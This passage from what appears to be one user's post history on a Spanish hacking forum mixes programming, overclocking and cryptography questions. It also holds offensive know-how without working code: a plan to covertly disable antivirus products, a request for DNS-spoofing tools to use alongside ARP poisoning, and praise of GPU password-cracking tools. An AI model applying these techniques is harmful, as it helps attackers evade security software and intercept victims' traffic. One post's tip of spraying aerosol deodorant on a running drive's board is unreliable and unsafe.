   strcat(szPID, "\n");
   strcat(szPID, GetCommandLine());
   MessageBox(NULL, szPID , NULL, 0);
   return;
}



Esto puede ser porque no le estoy pasando parámetros a la funcion (ya que no tiene), entonces le pongo "0" en el puntero a los datos. Como debería poner cuando no hay parámetros para pasar??

Bueno, ojalá que alguien me pueda dar una mano.
Un abrazo
APOKLIPTICO.

PD: Vale aclarar que el proceso tiene el flag SE_DEBUG_PRIVILEGES activado.
#21
Hola! Como va todo?
Bueno, quería hacer hoy una pregunta sobre context menu handlers.
Tengo un programa que carga opciones en el menú contextual, pongamos por ejemplo el winrar, éste carga las opciones (Comprimir/descomprimir/testear/etc) en el menú contextual asi cuando tenemos un archivo, este puede ser analizado, ver si está comprimido y ofrecer las opciones correctas.
Para esto se llama a una .dll que es un shell extension.

Lo que yo quería saber, es cómo puedo hacer para ya sea llamar a la funcion encargada de hacer la acción que estoy necesitando, o bien para encontrar la ruta del programa que está ejecutando y los parámetros que le está pasando.
Estas son las exports del shell extension que estoy analizando según el dependency walker:

ShellExtension_install
ShellExtension_uninstall
DllCanUnloadNow
DllGetClassObject

Ahora, ninguna de estas funciones me suena que sean lo que estoy necesitando, las primeras dos parecen ser para instalar y desinstalar el shell extension, la siguiente parece que le pide un permiso al dll para descargarlo y la última no tengo idea pero parece ser otra cosa funcional del dll.

Alguien me podría hechar una mano en esto?
Gracias!
Un abrazo
APOKLIPTICO
#22
Seguridad / Desactivando anti virus.
13 Diciembre 2011, 15:05 PM
Hola! Como va todo?
Estaba pensando si alguien me puede hechar una mano en este proyecto que estoy haciendo.
En definitiva, se trata de desactivar los anti virus, o por lo menos los más conocidos.
Se me ocurrieron 3 ángulos por el cual tomar el problema:
1) Agregar excepciones globales o excluyendo a determinados archivos: Esta sería la más preferible, ya que el anti virus funcionaría para el usuario pero no cumpliría su función.

2) Eliminar los hooks al sistema de archivos. Esto sería virtualmente reemplazar los hooks a nivel kernel que tiene el anti virus que le permite saber qué archivos están siendo accedidos y analizarlos antes de que se ejecuten.

3) Tirar abajo el anti virus. Esta sería la opcion menos preferible, pero sería en definitiva eliminar los hooks a la api openprocess() a nivel kernel, matar el/los procesos y eliminar los archivos del anti virus.

Por ahora me gustaría focalizarme en el punto 1), tomemos por ejemplo el NOD32, dónde puede que se guarden las excepciones??
Probablemente también hookee de alguna manera el acceso a esa informacion osea que necesitaría drivers para crear/eliminar esa información.

Un abrazo
APOKLIPTICO
#23
Hardware / Mejorar Overclocking.
28 Julio 2011, 03:31 AM
Hola gente como va todo??
Bueno, ya tengo mi pc casi terminada digamos, el otro día me compre una linda fuente thermaltake, ahora solo me falta cambiar el gabinete y listo :P...
Bueno, pero mientras tanto, quería saber si hay algo que podría mejorar de mi overclock, pero primero mis specs:
- AMD Phenom II 1075T X6 (Thuban) 125W
- ASUS M4A89GTD-PRO/USB3
- 2x2gb G-Skill RipjawsX DDR3 1600 Mhz CL7 1.5V.
Disipa stock, ventilador de 120 directo sobre las memorias.
Ahora frecuencias:

Bus y Micro: 290 Mhz x 11.5: 3335 Mhz. (3000 Mhz stock).
Mems: 1546 Mhz.
HT Link: 2900 Mhz.
NB Link: 2900 Mhz
CPU LLC: Enabled.
Spread Spectrum: Disabled.

Voltajes:
Vcore: 1.22875 V (1.32 V Stock)
Vdimm: 1.65 V (1.5 V Stock)
CPU/NB: 1.325 V.

Timings:
CL: 7
tRCD: 8
tRP: 7
tRAS: 24
CR: 1T.

Sub-Timings:
tRC: 25
Refresh mode: 3,9 microsegundos.
tRRD: 4
tWR: 7
tWTR: 4
tRTP:; 4
Refresh cycle time: 110 nanosegundos.
tWRRD: 2
tWRWR: 4
tRDRD: 4
TRW-TO: 6
TRW-WB: 8

Por ahora está todo bastante estable, excepto si sube demasiado más de 67º el micro, ahi la estabilidad se va al tacho, pero es muy raro que llegue, generalmente llega a esa temperatura despues de digamos, media hora de LinX.
Por ahora estoy tirando 20.360 segs en superpi 1M, 8.499 en wprime y 66.05 GFlops en LinX.
Alguna sugerencia??

Un abrazo
APOKLIPTICO
#26
Hola gente, como va todo? Estoy buscando un programa que me permita copiar unos datos de una planilla de excel, a un formulario en una página, específicamente una web de SAP. Si pudiese ser tipo drag & drop, mejor.

Muchas gracias
Un abrazo
APOKLIPTICO.
#27
Ingeniería Inversa / Crackeando 16 bits.
11 Mayo 2011, 15:33 PM
Hola gente, como va todo??
Estoy tratando de saltearme una protección en un programa, nada ilegal solamente quiero hacer funcional un abandonware que ya está liberado, pero nadie hizo un crack.

El problema es que es un programa de 16 bits, si fuese de 32 bits, lo abro con el olly y listo, ya está, pero el tema es que no encuentro un buen debugger para 16 bits, son todos en DOS, no hay algun buen debugger para aplicaciones en 16 bits que me de la funcionalidad y el GUI de el ollydbg???

Un abrazo
APOKLIPTICO
#28
Hardware / Apagar pc o dejar encendida??
11 Abril 2011, 17:06 PM
Hola! Como va todo?
Hoy les traigo una pregunta que me viene dando vueltas en la cabeza hace un buen rato, esto es, conviene dejar la pc encendida o apagarla??
Hay estudios conclusivos sobre el tema?
Obviando el tema del consumo de energía, es mayor el desgaste de los componentes si se deja encendida 24/7 o si se enciende y se apaga un promedio de 3 veces por día?

Asumiendo que:
- Los componentes son de buena calidad (alta gama o media-alta gama).
- No hay sobretensiones ni hipotensiones.
- Todos los componentes están refrigerados a temperaturas operativas bien dentro de los estándares operativos (gpu 50º-60º; micro 35º-40º; discos 25º-35).

Un abrazo
APOKLIPTICO
#29
Hola a todos, como va?
Tengo una pc bastante vieja, no demasiado, pero lo suficiente como para que no me reproduzca bien los dvds, es una Pentium III 1 Ghz con 384 Mb de ram en un windows XP SP3.

Cual es el pack de codecs y el reproductor de dvds que menos laburo al procesador le va a dar???

Un abrazo
APOKLIPTICO
#30
Multimedia / Transcripción de temas.
28 Marzo 2011, 13:25 PM
Hola gente, como va todo?? Bueno, hoy vengo con una duda, estuve pensando, que hacer un programa al que le pongas una pista única de audio con una guitarra y te transcriba el tema en una tablatura/partitura, para alguien que sepa ingeniería en sonido, no creo que sea algo muy dificil de hacer, claro que todo esto lo veo desde un punto de vista teórico. Pero aún así, existe un programa con dicha función??? Estuve buscando pero lo único que encontré son programas que te detectan los acordes.

Un abrazo
APOKLIPTICO.
#31
Hardware / Refrigerando con aerosol?
25 Marzo 2011, 02:19 AM
Hola! Como va todo?
Bueno, el otro día, estaba en la casa de un amigo, y tenía problemas con su disco, estaba muy fallado, un problema mecánico, me di cuenta al tocarlo que había levantado mucha temperatura (como 60º), se me ocurrió que podría salvar alguna de la información reduciendo la temperatura del disco, probé con un ventilador y seguía caliente. Entonces tuve una epifanía. Agarré un desodorante personal, me fijé que no tuviese agua en la fórmula y lo apliqué sobre la superficie directamente, enfrió casi instantáneamente el componente. Esto me permitió acceder a alguna de la información y poder salvarla. Sin embargo, me quedó la duda de si esto es realmente posible o simplemente tuve la suerte de que no hubo un cortocircuito (lo apliqué sobre la placa controladora del disco).

Les paso a detallar el contenido del aerosol según su etiqueta:
- Alcohol etílico (etanol).
- Butano.
- Isobutano.
- Propano.
- Fragancia (perfume).
- Propilenglicol.

También hay algunos que tienen:
- Miristato de isopropilo.
- Triclosan.
- Triclorocarbanilida.
- EDTA disódico.

Bueno, si alguno de estos es conductor, es probable que con algunos no se pueda hacer, pero sino, bueno, encontré entonces una manera de salir del paso cuando un componente sobrecalienta!! XD.

Un abrazo
APOKLIPTICO.
#32
Hola gente! Como va todo??
Bueno, tengo un problema que no se si será mío, del foro o del ISP. El problema reside en que cuando uso https para conectarme al foro, no me aparecen las imágenes hosteadas en imageshack. En vez de eso, me aparece esta imagen:


Alguien sabe por qué puede ser esto y como hago para solucionarlo???
Un abrazo
APOKLIPTICO.
#33
Buenos días mis foreros preferidos. Hoy vengo a invitarlos a pasar por el subforo de Crypto y revivirlo un poco.
http://foro.elhacker.net/criptografia-b56.0/

Alguna vez tuviste una duda sobre criptografía y nadie que te la pueda sacar??? Tenés un artículo interesante/paper/tesis doctoral o lo que sea y queres ponerla en un lugar acorde??? Querés plantear un proyecto??? Responder preguntas???.

No se olviden que todo lo que puedan poner o decir es importante. Siempre y cuando sea de acuerdo al tema, el lector puede interpretarlo a su manera y obtener la epifanía que le resuelva su problema.

Algo muy importante que deben saber, es que las palabras "encriptacion" "decriptacion" "decriptado" "descifrado" y similares, no existen, las palabras correctas, son "Cifrar" y "Descifrar".

Los esperamos.
Un abrazo
APOKLIPTICO
#34
Hardware / Insatisfecho con el Overclock.
1 Marzo 2011, 02:48 AM
Hola! Como va todo?
Bueno, Artik me estuvo ayudando bastante con mis primeros settings de OC en mi hardware nuevo que consiste de:
- Asus M4A89GTD PRO/USB3
- AMD Phenom II X6 1075T.
- G.Skill Ripjaws X 2x2Gb @ 1600 Mhz CL7.
Tengo Windows Xp 64 bit.

Por ahora tengo este OC "estable" (Tengo que seguir probando):
Bus: 290 Mhz.
Multi: x11.5.
Vcore: 1.284
HT Link: 2030 Mhz
CPU/NB Link: 2900 Mhz
CPU/NB Voltage: 1.325 V.
Vdimm: 1.6
Dram Speed: 1546 Mhz.
Timings: 7-8-7-24-25-1T.

El problema es que no me deja ni a palos bajar los timings, quería poner las memorias a 1900 Mhz y ni en pedo, subo un poco el multi y ya empieza a tirarme errores el prime95...
Aparte, mi performance de single thread es re baja, un superpi 1M me tarda como 20 Segundos.
La performance multi thread tampoco es la gran cosa, 9.203 segundos un wprime 32m.

Alguien me puede orientar un poco más??
Muchas gracias a Artik por ayudarme y por todos los que me van a ayudar.

Un abrazo
APOKLIPTICO.

PD: Que es el VDDA Voltage??? Me puede ayudar para overclockear???
#35
Hacking / Dns Spoofing en Windows.
17 Febrero 2011, 03:30 AM
Hola gente, como va todo?
Hoy les vengo con una petición.
Estoy buscando un programa que me permita hacer Dns Spoofing en windows, para combinarlo con Arp Poisoning. Esto significa que una vez que lleguen las respuestas del DNS, modificarlas para que se resuelvan con la IP que necesite.
Ettercap para windows no funciona, ya que no tiene más soporte y crashea al abrirlo.
El único programa que funciona bajo windows es Cain, pero el problema es que no soporta wildcards, es decir que si yo quiero que redireccione todos los subdominios de por ejemplo google.com, tengo que poner uno por uno.
Es decir:
www.google.com xxx.xxx.xxx.xxx
secure.google.com xxx.xxx.xxx.xxx
images.google.com xxx.xxx.xxx.xxx
Si pudiese utilizar wildcards, puedo poner asi:
*.google.com xxx.xxx.xxx.xxx

Y eso es todo.

Alguien conoce una buena utilidad?
Muchas gracias
APOKLIPTICO.
#36
Criptografía / CUDA/Stream Hash Cracking.
8 Febrero 2011, 20:29 PM
Buenos días criptómanos, hoy vengo a hacer una actualización sobre las últimas capacidades del hash cracking utilizando la tecnología GPGPU.
Antes de la existencia de esta tecnología, solo se podía utilizar las CPUs para intentar crackear un hash, este proceso como bien sabemos, puede ser muy lento e infeasible.

Tomando como ejemplo tratar de crackear una clave WPA en un core i7 sólo nos permitiría probar 4000 passwords por segundo en el Elcomsoft Wireless Security Auditor. Algo que es realmente muy poco y estamos hablando de uno de los procesadores de escritorio más potentes del momento.

Sin embargo, si conseguimos un par de AMD HD5970, con sus monstruosos 4,64 TFLOPS de potencia de calculo de stock, le metemos un 20% de overclock al core, algo perfectamente posible, ya que no tiene un clock demasiado alto y ya tendremos una placa con mayor potencia de cálculo que una Tesla, por la décima parte del costo. Estamos hablando de una capacidad de crackeo combinado de aproximadamente 247200 passwords por segundo en el mismo programa. Estamos hablando de casi 62 veces más potencia de cálculo. Y esto se puede llegar a duplicar, ya que es completamente posible hacer funcionar 4 placas en una pc de escritorio de alta gama, siendo imposible hacer funcionar más de un procesador sin una motherboard de servidor o la hermosa EVGA Classified SR-2.

Esto nos da una capacidad de crackeo sin precedentes.

Ahora, esta no es la única utilidad, en Linux, tenemos el famoso Pyrit, un excelente programa que utiliza OpenCL para utilizar la capacidad de cálculo de las GPUs para cracking.

Y por otro lado, tenemos en windows el ighashgpu de Ivan Goublev.

Ultima versión de dicho programa aqui: http://golubev.com/files/ighashgpu_v062.zip

Lamentablemente, este programa aún no permite crackear WPAs, pero si permite la mayoria de los hashes en CUDA y algunos hashes bajo AMD, soporta salts y distintos charsets, asi como entrada en unicode o en ascii.

Bueno, espero que les sirva.
Un abrazo
APOKLIPTICO.

#37
Redes / Acceder a red remota.
3 Febrero 2011, 22:50 PM
Hola! Como va todo?
Bueno, hoy les traigo el siguiente planteo:
Tengo un programa que no tiene configuración para proxy, y tengo que acceder a una pc remota que está en otra red. Para esto, la conexión sería asi:
Todas las IP1, pertenecen a mi red local, las IP2 pertenecen a una VPN con hamachi. y las IP3 pertenecen a la red remota.

Mi Pc (IP1 y IP2) - Pc Red remota con proxy SOCKS (IP2 y IP3) - Pc destino (IP3).

Se me ocurre que se podría llegar a hacer un host virtual en Mi Pc que acepte conexiones y las redireccione a la PC de destino de manera transparente, en cualquier puerto y para cualquier protocolo. Algún software para esto? Alguna otra idea?

Muchas gracias
APOKLIPTICO.
#38
Hacking / Proxy pequeño y portable.
2 Febrero 2011, 18:57 PM
Hola gente, como va tanto tiempo que no posteaba en este subforo?

Bueno, hoy vengo con un pedido, quería saber si existe algun proxy para windows que sea portable, es decir que no se instale, o al menos ocultable, pequeño sin demasiadas configuraciones y que sea algo estandarizado como SOCKS.

Espero que no sea mucha molestia, pero estuve probando varios y todavía no tengo uno que me convenza.

Muchas gracias.
Un abrazo
APOKLIPTICO.

PD: Esto va en redes, no en Hacking Basico...
#39
Buenas gente! Como va todo?
Bueno, hoy les vengo con un problema matemático a ver si me pueden dar una mano.
El tema es así, estoy trabajando con generadores pseudoaleatorios, en definitiva como deben saber ya uds, son funciones determinísticas que generan una salida de números que imitan la aleatoriedad real.
Esto se logra con funciones discretas, es decir, congruenciales.

Bueno, el chiste de los PRNGs es que si uno crea un gráfico de distribución, se va a dar cuenta que tienen distribución uniforme, es decir que cada caracter sale más o menos la misma cantidad de veces. El gráfico se vería parecido a este:



La idea, es que estaba buscando una manera eficiente de sin tocar la fórmula del PRNG original, agregarle algo (por ejemplo multiplicarlo por un valor o dividirlo) a dicha fórmula para que la distribución, se vea más gaussiana, es decir parecida a esta:



Cree una función en base a la función gaussiana original que muestra como me gustaría que quede la distribución, esta fórmula es:
e^(-(x-mean)^2*(sdev^2)*0,5)

Siendo mean = 127,5 y sdev=0,01.
Si uno grafica esta fórmula, va a ver una función gaussiana pero con un dominio (0;1] y una imagen (-inf;+inf).
Para el PRNG, me gustaría que la distribución se aproxime a la curva generada por la imagen [0;255] de dicha función.

Se que suena complicado, pero estoy seguro que algún aficionado a las matemáticas me puede dar una mano.

Muchas gracias!!
Un abrazo
APOKLIPTICO.
#41
Hardware / Eligiendo Mother.
18 Enero 2011, 22:33 PM
Buenos tardes queridos!

Bueno, en este momento estoy veraneando asi que es por eso que bajo mi actividad en el foro, supongo que me estarán extrañando XD..
Al tema, estoy pensando en armar una PC nueva para mi vieja y para esto voy a actualizar mi PC en concreto Mother Micro y memoria. Mi presupuesto es de 420 US$, estoy en Argentina, lamentablemente en este pais tercermundista las cosas de computación son en general más caras que en otros paises.

Para que tengan una idea, esto es lo que tengo ya:
- Fuente 600W (genérica, pero anda bien), gabinete y kit completo.
- Disco 500 GB SATA 2 (No me acuerdo que modelo o marca, esta todo en mi casa).
- Placa de video XFX HD4850 1 GB DDR 650/995.

Para que tengan una idea de precios, pueden usar como referencia http://www.ocstore.com.ar. Tambien se puede usar mercadolibre pero el tema es que pongan sólo para capital federal por obvias razones.

Para que tengan una idea, estaba pensando en una plataforma AMD con memoria DDR3 y socket AM3 obviamente.
En cuanto a la memoria, estaba pensando poner un módulo de 2 GB específicamente una SuperTalent Performance @ 1600 Mhz CL8 1.65V por 48.5 US$ y cuando consiga unos billetes más, voy a comprarme el otro módulo y hacer el dual channel. En OcStore no venden CL7, no obstante, si encuentran en algún lugar memorias CL7, avísenme y lo considero si vale la pena por la diferencia de dinero.

Descontando la memoria tengo un total de aprox 370 US$ para poner en micro y mother. Prefiero poner más en mother que en micro ya que el micro de última es ampliable. Me gustaría una mother que se banque bien el overclock y si es posible que soporte CFX por si en el futuro tengo ganas de hacerlo.

Bueno, desde ya muchas gracias a todos los locos overclockers que saben un pedazo y me permiten hacer una compra acertada.

Un gran abrazo y nos vemos cuando vuelva, no me extrañen!.
APOKLIPTICO.
#42
Hola gente, como anda todo?
Miren, tengo un problema que le vengo dando vueltas hace bastante y no se como hacer para resolverlo.

Declaré un puntero tipo unsigned long, y lo pasé a una función. En esa función, utilizando el operador new, cree un array de unsigned longs y los llené de ceros con ZeroMemory.
Luego trabajé con dicho puntero, ahora, cuando quiero utilizar el array inicial (utilizando el puntero), no me deja, parece como si la memoria jamás hubiese sido allocada.

Este es el código en cuestión:
Código (cpp) [Seleccionar]

int main()
{
   unsigned long *Arg1= 0, *Arg2= 0;
   Precalc(24,20, Arg1, Arg2);
   cout << (int) Arg1<< endl << (int) Arg1<< endl;
   return 0;
}

void Precalc(unsigned int inbits, unsigned int outbits, unsigned long *Arg1, unsigned long *Arg2)
{
   unsigned long iSpace = pow(2, inbits);
   unsigned long ideSpace = pow(2, outbits);
   unsigned long nModulus = pow(2, inbits);
   Arg1= new unsigned long[iSpace];
   Arg2= new unsigned long[ideSpace];
   if(!Arg1|| !Arg2) return;
   ZeroMemory(Arg1, iSpace*4);
   ZeroMemory(Arg2, ideSpace*4);
   //Más código donde se modifican los arrays Arg1 y Arg2
}


Esto devuelve "0" y "0". Si trato de trabajar con los arrays afuera de las funciones, me da un error de segmentación (Null pointer).

Alguien sabe que sucede??
Muchas gracias!
APOKLIPTICO
#43
Foro Libre / Ocean - John Butler Trio.
12 Diciembre 2010, 18:29 PM
Buenas gente! Como va todo?
Hoy quería compartir con uds un video para los amantes de la buena música.
Esta es una versión en vivo del tema "Ocean" de "John Butler Trio". Está tocado con una guitarra de 11 cuerdas (si, 11 cuerdas, no tiene una tercera aguda) y una afinación C-G-C-G-C-E. Es muy rara, pero suena muy bien. Estoy en proceso de sacarla, ya me sale bastante bien, pero lamentablemente no tuve la oportunidad de tocarla en una guitarra de 12 cuerdas.

Bueno, aki está, espero que lo disfruten:

[youtube=425,350]http://www.youtube.com/watch?v=6VAkOhXIsI0[/youtube]

Un abrazo
APOKLIPTICO
#44
Hola gente, como va todo?
Bueno, el otro día me puse nostálgico y tuve ganas de jugar un simulador o juego de aviones de combate, no del tipo de la segunda guerra mundial, sino mas bien jets onda f-22 f-15 etc.

Ya jugué al f-22 lightning 3, probé tambien el USAF pero aparentemente no es compatible con windows XP...

Conocen alguno que sea más o menos bueno y compatible con XP?

Un abrazo
APOKLIPTICO
#45
Hola!
Como va todo? Primero perdón a Kass si esto no va aquí (aunque técnicamente cualquier cosa puede ir aqui), pero realmente no se me ocurría donde ponerlo, no va en criptografía, no va en wargames, no va en programación y tampoco daba ponerlo en dudas generales porque realmente no está asociado diréctamente con la computación.

Bueno, mi duda en cuestión es sobre sistemas de ecuaciones lineales modulares.
Tengo una ecuación asi:
(x*a + k) mod m = y.

Tengo "m", tengo "x" y tengo "y". De hecho tengo múltiples "x" e "y".
Entonces se podría armar un sistema de ecuaciones asi:
(x1*a + k) mod m = x2.
(x2*a + k) mod m = x3.
...
...
(xn*a + k) mod m = x(n+1).

Necesito conseguir "a" y "k".
Hay algun algoritmo mas o menos simple para conseguirlo? (que no sea fuerza bruta claro).

Gracias!
APOKLIPTICO.